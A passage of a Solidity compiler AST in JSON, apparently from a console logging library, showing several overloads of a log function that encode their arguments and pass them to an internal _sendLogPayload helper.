memory"}],"id":26122,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"21538:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26131,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21538:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26132,"nodeType":"ExpressionStatement","src":"21538:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"21459:3:15","parameters":{"id":26120,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26113,"mutability":"mutable","name":"p0","nameLocation":"21471:2:15","nodeType":"VariableDeclaration","scope":26134,"src":"21463:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26112,"name":"uint256","nodeType":"ElementaryTypeName","src":"21463:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26115,"mutability":"mutable","name":"p1","nameLocation":"21483:2:15","nodeType":"VariableDeclaration","scope":26134,"src":"21475:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26114,"name":"uint256","nodeType":"ElementaryTypeName","src":"21475:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26117,"mutability":"mutable","name":"p2","nameLocation":"21501:2:15","nodeType":"VariableDeclaration","scope":26134,"src":"21487:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26116,"name":"string","nodeType":"ElementaryTypeName","src":"21487:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":26119,"mutability":"mutable","name":"p3","nameLocation":"21510:2:15","nodeType":"VariableDeclaration","scope":26134,"src":"21505:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26118,"name":"bool","nodeType":"ElementaryTypeName","src":"21505:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"21462:51:15"},"returnParameters":{"id":26121,"nodeType":"ParameterList","parameters":[],"src":"21528:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26157,"nodeType":"FunctionDefinition","src":"21643:193:15","nodes":[],"body":{"id":26156,"nodeType":"Block","src":"21724:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c75696e743235362c737472696e672c6164647265737329","id":26148,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"21774:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_42d21db701843c064ab7fb7cddd0cda130fcc29c7289dd90519dfea1322b1a53","typeString":"literal_string \"log(uint256,uint256,string,address)\""},"value":"log(uint256,uint256,string,address)"},{"id":26149,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26136,"src":"21813:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26150,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26138,"src":"21817:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26151,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26140,"src":"21821:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":26152,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26142,"src":"21825:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_42d21db701843c064ab7fb7cddd0cda130fcc29c7289dd90519dfea1322b1a53","typeString":"literal_string \"log(uint256,uint256,string,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":26146,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"21750:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26147,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"21754:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"21750:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26153,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21750:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26145,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"21734:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26154,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21734:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26155,"nodeType":"ExpressionStatement","src":"21734:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"21652:3:15","parameters":{"id":26143,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26136,"mutability":"mutable","name":"p0","nameLocation":"21664:2:15","nodeType":"VariableDeclaration","scope":26157,"src":"21656:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26135,"name":"uint256","nodeType":"ElementaryTypeName","src":"21656:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26138,"mutability":"mutable","name":"p1","nameLocation":"21676:2:15","nodeType":"VariableDeclaration","scope":26157,"src":"21668:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26137,"name":"uint256","nodeType":"ElementaryTypeName","src":"21668:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26140,"mutability":"mutable","name":"p2","nameLocation":"21694:2:15","nodeType":"VariableDeclaration","scope":26157,"src":"21680:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26139,"name":"string","nodeType":"ElementaryTypeName","src":"21680:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":26142,"mutability":"mutable","name":"p3","nameLocation":"21706:2:15","nodeType":"VariableDeclaration","scope":26157,"src":"21698:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":26141,"name":"address","nodeType":"ElementaryTypeName","src":"21698:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"21655:54:15"},"returnParameters":{"id":26144,"nodeType":"ParameterList","parameters":[],"src":"21724:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26180,"nodeType":"FunctionDefinition","src":"21842:182:15","nodes":[],"body":{"id":26179,"nodeType":"Block","src":"21914:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c75696e743235362c626f6f6c2c75696e7432353629","id":26171,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"21964:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_eb7f6fd2c2005d3f08b2528135265cced621d1abf62716b05a9b62bc732577fd","typeString":"literal_string \"log(uint256,uint256,bool,uint256)\""},"value":"log(uint256,uint256,bool,uint256)"},{"id":26172,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26159,"src":"22001:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26173,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26161,"src":"22005:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26174,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26163,"src":"22009:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":26175,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26165,"src":"22013:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_eb7f6fd2c2005d3f08b2528135265cced621d1abf62716b05a9b62bc732577fd","typeString":"literal_string \"log(uint256,uint256,bool,uint256)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":26169,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"21940:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26170,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"21944:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"21940:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26176,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21940:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26168,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"21924:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26177,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21924:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26178,"nodeType":"ExpressionStatement","src":"21924:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"21851:3:15","parameters":{"id":26166,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26159,"mutability":"mutable","name":"p0","nameLocation":"21863:2:15","nodeType":"VariableDeclaration","scope":26180,"src":"21855:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26158,"name":"uint256","nodeType":"ElementaryTypeName","src":"21855:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26161,"mutability":"mutable","name":"p1","nameLocation":"21875:2:15","nodeType":"VariableDeclaration","scope":26180,"src":"21867:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26160,"name":"uint256","nodeType":"ElementaryTypeName","src":"21867:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26163,"mutability":"mutable","name":"p2","nameLocation":"21884:2:15","nodeType":"VariableDeclaration","scope":26180,"src":"21879:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26162,"name":"bool","nodeType":"ElementaryTypeName","src":"21879:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":26165,"mutability":"mutable","name":"p3","nameLocation":"21896:2:15","nodeType":"VariableDeclaration","scope":26180,"src":"21888:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26164,"name":"uint256","nodeType":"ElementaryTypeName","src":"21888:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"21854:45:15"},"returnParameters":{"id":26167,"nodeType":"ParameterList","parameters":[],"src":"21914:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26203,"nodeType":"FunctionDefinition","src":"22030:187:15","nodes":[],"body":{"id":26202,"nodeType":"Block","src":"22108:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c75696e743235362c626f6f6c2c737472696e6729","id":26194,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"22158:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_a5b4fc99467445b3de47079da2d48b3031bb8d3adcbee781cbdca55596f1414a","typeString":"literal_string \"log(uint256,uint256,bool,string)\""},"value":"log(uint256,uint256,bool,string)"},{"id":26195,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26182,"src":"22194:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26196,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26184,"src":"22198:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26197,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26186,"src":"22202:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":26198,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26188,"src":"22206:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a5b4fc99467445b3de47079da2d48b3031bb8d3adcbee781cbdca55596f1414a","typeString":"literal_string \"log(uint256,uint256,bool,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":26192,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"22134:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26193,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"22138:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"22134:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26199,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22134:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26191,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"22118:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26200,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22118:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26201,"nodeType":"ExpressionStatement","src":"22118:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"22039:3:15","parameters":{"id":26189,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26182,"mutability":"mutable","name":"p0","nameLocation":"22051:2:15","nodeType":"VariableDeclaration","scope":26203,"src":"22043:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26181,"name":"uint256","nodeType":"ElementaryTypeName","src":"22043:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26184,"mutability":"mutable","name":"p1","nameLocation":"22063:2:15","nodeType":"VariableDeclaration","scope":26203,"src":"22055:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26183,"name":"uint256","nodeType":"ElementaryTypeName","src":"22055:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26186,"mutability":"mutable","name":"p2","nameLocation":"22072:2:15","nodeType":"VariableDeclaration","scope":26203,"src":"22067:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26185,"name":"bool","nodeType":"ElementaryTypeName","src":"22067:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":26188,"mutability":"mutable","name":"p3","nameLocation":"22090:2:15","nodeType":"VariableDeclaration","scope":26203,"src":"22076:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26187,"name":"string","nodeType":"ElementaryTypeName","src":"22076:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"22042:51:15"},"returnParameters":{"id":26190,"nodeType":"ParameterList","parameters":[],"src":"22108:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26226,"nodeType":"FunctionDefinition","src":"22223:176:15","nodes":[],"body":{"id":26225,"nodeType":"Block","src":"22292:107:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c75696e743235362c626f6f6c2c626f6f6c29","id":26217,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"22342:32:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_ab085ae680de5118cde80cb5e8cb1f7383786238f1394e82b7ab82553a0dd7fe","typeString":"literal_string \"log(uint256,uint256,bool,bool)\""},"value":"log(uint256,uint256,bool,bool)"},{"id":26218,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26205,"src":"22376:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26219,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26207,"src":"22380:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26220,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26209,"src":"22384:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":26221,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26211,"src":"22388:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ab085ae680de5118cde80cb5e8cb1f7383786238f1394e82b7ab82553a0dd7fe","typeString":"literal_string \"log(uint256,uint256,bool,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":26215,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"22318:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26216,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"22322:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"22318:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26222,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22318:73:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26214,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"22302:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26223,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22302:90:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26224,"nodeType":"ExpressionStatement","src":"22302:90:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"22232:3:15","parameters":{"id":26212,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26205,"mutability":"mutable","name":"p0","nameLocation":"22244:2:15","nodeType":"VariableDeclaration","scope":26226,"src":"22236:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26204,"name":"uint256","nodeType":"ElementaryTypeName","src":"22236:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26207,"mutability":"mutable","name":"p1","nameLocation":"22256:2:15","nodeType":"VariableDeclaration","scope":26226,"src":"22248:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26206,"name":"uint256","nodeType":"ElementaryTypeName","src":"22248:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26209,"mutability":"mutable","name":"p2","nameLocation":"22265:2:15","nodeType":"VariableDeclaration","scope":26226,"src":"22260:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26208,"name":"bool","nodeType":"ElementaryTypeName","src":"22260:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":26211,"mutability":"mutable","name":"p3","nameLocation":"22274:2:15","nodeType":"VariableDeclaration","scope":26226,"src":"22269:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26210,"name":"bool","nodeType":"ElementaryTypeName","src":"22269:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"22235:42:15"},"returnParameters":{"id":26213,"nodeType":"ParameterList","parameters":[],"src":"22292:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26249,"nodeType":"FunctionDefinition","src":"22405:182:15","nodes":[],"body":{"id":26248,"nodeType":"Block","src":"22477:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c75696e743235362c626f6f6c2c6164647265737329","id":26240,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"22527:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_9a816a83f59c7e2fc96bb179b1fa8fd5307277d58bad9d6b835a280d4474fc1b","typeString":"literal_string \"log(uint256,uint256,bool,address)\""},"value":"log(uint256,uint256,bool,address)"},{"id":26241,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26228,"src":"22564:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26242,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26230,"src":"22568:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26243,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26232,"src":"22572:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":26244,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26234,"src":"22576:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_9a816a83f59c7e2fc96bb179b1fa8fd5307277d58bad9d6b835a280d4474fc1b","typeString":"literal_string \"log(uint256,uint256,bool,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":26238,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"22503:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26239,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"22507:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"22503:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26245,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22503:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26237,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"22487:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26246,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22487:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26247,"nodeType":"ExpressionStatement","src":"22487:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"22414:3:15","parameters":{"id":26235,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26228,"mutability":"mutable","name":"p0","nameLocation":"22426:2:15","nodeType":"VariableDeclaration","scope":26249,"src":"22418:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26227,"name":"uint256","nodeType":"ElementaryTypeName","src":"22418:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26230,"mutability":"mutable","name":"p1","nameLocation":"22438:2:15","nodeType":"VariableDeclaration","scope":26249,"src":"22430:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26229,"name":"uint256","nodeType":"ElementaryTypeName","src":"22430:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26232,"mutability":"mutable","name":"p2","nameLocation":"22447:2:15","nodeType":"VariableDeclaration","scope":26249,"src":"22442:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26231,"name":"bool","nodeType":"ElementaryTypeName","src":"22442:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":26234,"mutability":"mutable","name":"p3","nameLocation":"22459:2:15","nodeType":"VariableDeclaration","scope":26249,"src":"22451:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":26233,"name":"address","nodeType":"ElementaryTypeName","src":"22451:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src"